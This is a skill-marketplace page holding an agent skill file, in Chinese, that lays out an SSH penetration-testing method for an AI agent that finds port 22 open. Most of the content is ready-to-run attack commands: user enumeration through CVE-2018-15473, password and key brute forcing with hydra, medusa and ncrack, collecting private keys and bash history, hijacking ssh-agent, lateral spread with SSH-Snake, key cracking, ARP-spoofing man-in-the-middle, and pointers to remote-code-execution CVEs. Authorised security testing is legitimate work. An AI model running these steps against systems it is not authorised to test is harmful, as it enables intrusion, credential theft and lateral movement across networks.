ssh-pentesting

by wgpsec

Install this Skill

curl -fsSL -o ssh-pentesting.zip https://skill.seembox.com/api/v1/skills/ssh-pentesting/download && unzip ssh-pentesting.zip

Download ssh-pentesting.zip

SKILL.md About

---
name: ssh-pentesting
description: |
  SSH 服务（22 端口）渗透测试方法论。涵盖 SSH 服务发现与版本识别、认证方式枚举、用户名枚举（CVE-2018-15473）、凭据爆破（密码/密钥）、SSH 隧道与端口转发、已知漏洞利用、SSH 密钥窃取与复用。
  当 Agent 扫描发现 22 端口开放、需要测试 SSH 认证强度、枚举 SSH 用户、或通过 SSH 建立隧道进行横向移动时，触发此 Skill。
metadata:
  tags:
    - ssh
    - sftp
    - 22端口
    - 密钥认证
    - 隧道
    - 端口转发
    - openssh
  category: exploit/network-service
---

# SSH 渗透测试方法论 (22)

## 深入参考

- SSH 枚举、爆破、隧道、密钥利用、漏洞详细命令 -> 读 [references/ssh-techniques.md](references/ssh-techniques.md)

---

## 整体决策树

```
发现 22 端口开放
├─ Phase 1: 服务发现与版本识别
│   ├─ Banner 抓取 -> 确定 SSH 实现 (OpenSSH / Dropbear / libssh / Erlang)
│   ├─ 版本号 -> 对照已知漏洞 (Phase 7)
│   └─ 算法审计 (ssh-audit) -> 标记弱密码套件
├─ Phase 2: 认证方式枚举
│   ├─ 支持 publickey + password -> 可尝试密码爆破 (Phase 4)
│   ├─ 仅 publickey -> 搜索泄露密钥 / 弱密钥 (Phase 4)
│   ├─ keyboard-interactive -> 可能存在 2FA / PAM
│   └─ gssapi-with-mic -> Kerberos SSO 环境
├─ Phase 3: 用户名枚举
│   ├─ OpenSSH < 7.7 -> CVE-2018-15473 时序枚举
│   └─ 已知用户名 -> 进入 Phase 4
├─ Phase 4: 凭据攻击
│   ├─ 密码爆破 (hydra / medusa / ncrack)
│   ├─ 私钥爆破 (已知密钥集 / Debian 弱 PRNG 密钥)
│   └─ 默认凭据 (设备厂商默认 SSH 密码)
├─ Phase 5: SSH 隧道与端口转发
│   ├─ 本地转发 (-L) -> 访问内网服务
│   ├─ 远程转发 (-R) -> 反向代理到攻击机
│   ├─ 动态转发 (-D) -> SOCKS 代理
│   └─ SFTP 隧道 -> 受限环境下数据传输
├─ Phase 6: 密钥窃取与复用
│   ├─ 目标主机 -> 搜集 id_rsa / id_ed25519 / authorized_keys
│   ├─ SSH-Snake -> 自动化密钥发现与横向移动
│   └─ ssh-agent 劫持 -> 复用内存中的密钥
└─ Phase 7: 已知漏洞
    ├─ CVE-2024-6387 (regreSSHion) — OpenSSH 8.5p1-9.7p1 pre-auth RCE
    ├─ CVE-2024-3094 (xz 后门) — 供应链攻击 liblzma hook
    ├─ CVE-2025-32433 — Erlang/OTP SSH pre-auth RCE
    ├─ CVE-2018-10933 — libssh 认证绕过
    └─ CVE-2018-15473 — OpenSSH 用户名枚举
```

---

## Phase 1: 服务发现与版本识别

### 1.1 Banner 抓取与版本探测

```bash
# 手动 Banner 抓取
nc -vn <IP> 22

# Nmap 服务版本 + 默认脚本
nmap -sV -sC -p 22 <IP>

# 获取服务器公钥指纹
ssh-keyscan -t rsa <IP> -p 22
```

### 1.2 算法审计

```bash
# ssh-audit — 自动分析算法强度与已知 CVE
ssh-audit <IP>

# Nmap 算法枚举
nmap -p 22 --script ssh2-enum-algos <IP>
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full <IP>
```

**关键判断**：
- OpenSSH 8.5p1–9.7p1 -> 检查 CVE-2024-6387 (regreSSHion)，立即进入 Phase 7
- libssh 0.6–0.8 (服务端) -> CVE-2018-10933 认证绕过
- Erlang/OTP SSH -> CVE-2025-32433 pre-auth RCE
- 存在弱算法 (ssh-dss / arcfour / CBC) -> 记录，可能用于降级攻击

---

## Phase 2: 认证方式枚举

### 2.1 探测支持的认证方法

```bash
# 使用 verbose 模式查看认证方式
ssh -v <IP> -o PreferredAuthentications=none

# Nmap 认证方式检测
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" <IP>
```

### 2.2 认证方式决策树

```
认证方式枚举结果
├─ publickey + password
│   ├─ 尝试密码爆破 (Phase 4)
│   └─ 搜索泄露密钥
├─ 仅 publickey
│   ├─ 搜索 authorized_keys 泄露
│   ├─ 尝试已知弱密钥 (Debian PRNG)
│   └─ 搜索 Git 仓库 / 备份中的私钥
├─ password 被禁用但 keyboard-interactive 存在
│   └─ 强制指定: ssh -o PreferredAuthentications=keyboard-interactive <IP>
└─ gssapi-with-mic
    ├─ Kerberos 域环境 -> 尝试 TGT 认证
    └─ kinit <user> && ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
```

---

## Phase 3: 用户名枚举

### 3.1 CVE-2018-15473 时序枚举

适用于 OpenSSH < 7.7 — 通过认证请求的响应时间差异判断用户是否存在。

```bash
# Metasploit 模块
msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS <IP>; set USER_FILE users.txt; run; exit'
```

### 3.2 辅助枚举手段

```
用户名来源
├─ OSINT (LinkedIn / 企业邮箱格式推断)
├─ 已获得的其他服务枚举结果 (LDAP / SMB / Web)
├─ 默认用户名尝试: root, admin, user, test, git, deploy, ubuntu, ec2-user
└─ Shodan / Censys 历史数据
```

---

## Phase 4: 凭据攻击

### 4.1 攻击路径选择

```
已获得用户名列表
├─ 密码爆破
│   ├─ hydra -l <user> -P wordlist.txt -t 4 ssh://<IP>
│   ├─ medusa -h <IP> -u <user> -P wordlist.txt -M ssh
│   └─ ncrack -p 22 --user <user> -P wordlist.txt <IP>
│   注意: SSH 通常有 MaxAuthTries 限制 (默认 6)，低速爆破
├─ 私钥爆破
│   ├─ Nmap: nmap --script ssh-publickey-acceptance --script-args 'ssh.publickey=keys/' -p 22 <IP>
│   ├─ Metasploit: use scanner/ssh/ssh_identify_pubkeys
│   └─ ssh-keybrute (Python3, 支持旧算法)
├─ 已知弱密钥
│   ├─ Debian 预测 PRNG 密钥集 (g0tmi1k/debian-ssh)
│   └─ 厂商默认密钥 (rapid7/ssh-badkeys)
└─ 默认凭据
    └─ -> 读 references/ssh-techniques.md #默认凭据表
```

### 4.2 SFTP 爆破

SFTP 使用相同的 SSH 认证机制，爆破命令相同。获得 SFTP 访问后注意检测命令执行绕过。

```bash
# 即使 shell 被限制为 nologin，尝试直接执行命令
ssh -v <user>@<IP> /bin/bash
```

---

## Phase 5: SSH 隧道与端口转发

### 5.1 转发类型决策树

```
已获得 SSH 访问
├─ 需要访问目标内网服务
│   └─ 本地转发: ssh -L <本地端口>:<内网IP>:<内网端口> <user>@<IP>
├─ 需要让目标访问攻击机服务
│   └─ 远程转发: ssh -R <远程端口>:127.0.0.1:<本地端口> <user>@<IP>
├─ 需要全流量代理
│   └─ 动态转发: ssh -D 1080 <user>@<IP>
│       └─ 配合 proxychains 使用
├─ SFTP 隧道 (受限环境)
│   └─ ssh -L <端口>:<目标>:<端口> -N -f <user>@<跳板IP>
└─ SSH 配置限制转发
    ├─ AllowTcpForwarding no -> 隧道被禁用
    └─ PermitTunnel no -> TUN/TAP 被禁用
        └─ 但可能绕过: 通过 ProxyCommand 或 nc 实现简易隧道
```

### 5.2 SFTP 符号链接利用

在 chroot SFTP 环境中，若有写权限，可创建指向系统根目录的符号链接：

```bash
sftp> symlink / froot
```

如果该链接可通过 Web 等非 chroot 服务访问，则实现文件系统穿越。

---

## Phase 6: 密钥窃取与复用

### 6.1 密钥搜集决策树

```
已获得目标主机访问
├─ 搜索私钥文件
│   ├─ 常见路径: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa
│   ├─ 配置文件: /etc/ssh/ssh_config, ~/.ssh/config (可能含代理跳板)
│   └─ 历史命令 / .bash_history 中的 ssh 连接记录
├─ 检查 authorized_keys -> 关联其他主机
├─ known_hosts -> 发现网络内其他 SSH 主机
│   └─ 若未哈希 -> 直接获取 IP/hostname
├─ SSH Agent 劫持
│   ├─ 检查 SSH_AUTH_SOCK 环境变量
│   └─ 存在 -> SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx ssh <next_target>
└─ SSH-Snake 自动化
    └─ 自动发现本机私钥 -> 匹配可达主机 -> 递归传播
```

### 6.2 密钥破解

```bash
# 加密私钥 -> 提取哈希后离线破解
ssh2john id_rsa > id_rsa.hash
john --wordlist=rockyou.txt id_rsa.hash
hashcat -m 22921 id_rsa.hash rockyou.txt
```

---

## Phase 7: 已知漏洞

### 7.1 漏洞检测决策树

```
SSH 版本已知
├─ OpenSSH 8.5p1–9.7p1
│   └─ CVE-2024-6387 (regreSSHion) — pre-auth 信号处理竞态 RCE
│       ├─ 确认: ssh -V 获取版本; 检查 LoginGraceTime 是否非零
│       └─ -> 读 references/ssh-techniques.md #CVE-2024-6387
├─ 系统使用 xz 5.6.0 / 5.6.1 (x86-64 Linux + systemd)
│   └─ CVE-2024-3094 — xz/liblzma 供应链后门
│       ├─ 确认: xz --version; ldd /usr/sbin/sshd | grep lzma
│       └─ -> 读 references/ssh-techniques.md #CVE-2024-3094
├─ Erlang/OTP SSH (OTP < 27.3.3 / 26.2.5.11 / 25.3.2.20)
│   └─ CVE-2025-32433 — pre-auth 状态机绕过 RCE
│       ├─ 确认: 端口 22/2022/830/2222 上的 Erlang banner
│       └─ -> 读 references/ssh-techniques.md #CVE-2025-32433
├─ libssh 0.6–0.8 (服务端)
│   └─ CVE-2018-10933 — 客户端发送 USERAUTH_SUCCESS 绕过认证
├─ OpenSSH < 7.7
│   └─ CVE-2018-15473 — 用户名枚举 (Phase 3)
└─ 批量漏洞扫描
    └─ nmap -p 22 --script "ssh-vuln*,ssh2-enum-algos" <IP>
```

### 7.2 SSH-MitM (中间人)

适用于与目标处于同一网络：

```
SSH 中间人攻击
├─ ARP 欺骗 / DNS 欺骗 -> 重定向流量到攻击机
├─ ssh-mitm 工具 -> 代理 SSH 连接
│   ├─ 截获用户名与密码
│   ├─ 转发命令到真实服务端
│   └─ 用户端无感知 (需处理主机密钥警告)
└─ 前提: 目标未严格验证主机密钥 (StrictHostKeyChecking)
```

---

## 配置审计 (获得访问后)

获取访问权限后检查 `/etc/ssh/sshd_config` 中的危险配置：

| 配置项 | 风险说明 |
|-------|---------|
| `PermitRootLogin yes` | 允许 root 直接登录 |
| `PasswordAuthentication yes` | 允许密码认证 (爆破风险) |
| `PermitEmptyPasswords yes` | 允许空密码登录 |
| `AllowTcpForwarding yes` | 允许端口转发 (隧道) |
| `X11Forwarding yes` | 允许 X11 转发 (键盘记录) |
| `AuthorizedKeysFile` 自定义路径 | 后门密钥可能隐藏在非标准位置 |
| `ForceCommand` 未设置 | SFTP 用户可能执行任意命令 |

**关键文件**：
- `ssh_config` / `sshd_config` — 客户端/服务端配置
- `authorized_keys` — 授权公钥
- `known_hosts` — 已知主机 (可泄露网络拓扑)
- `id_rsa` / `id_ed25519` — 私钥文件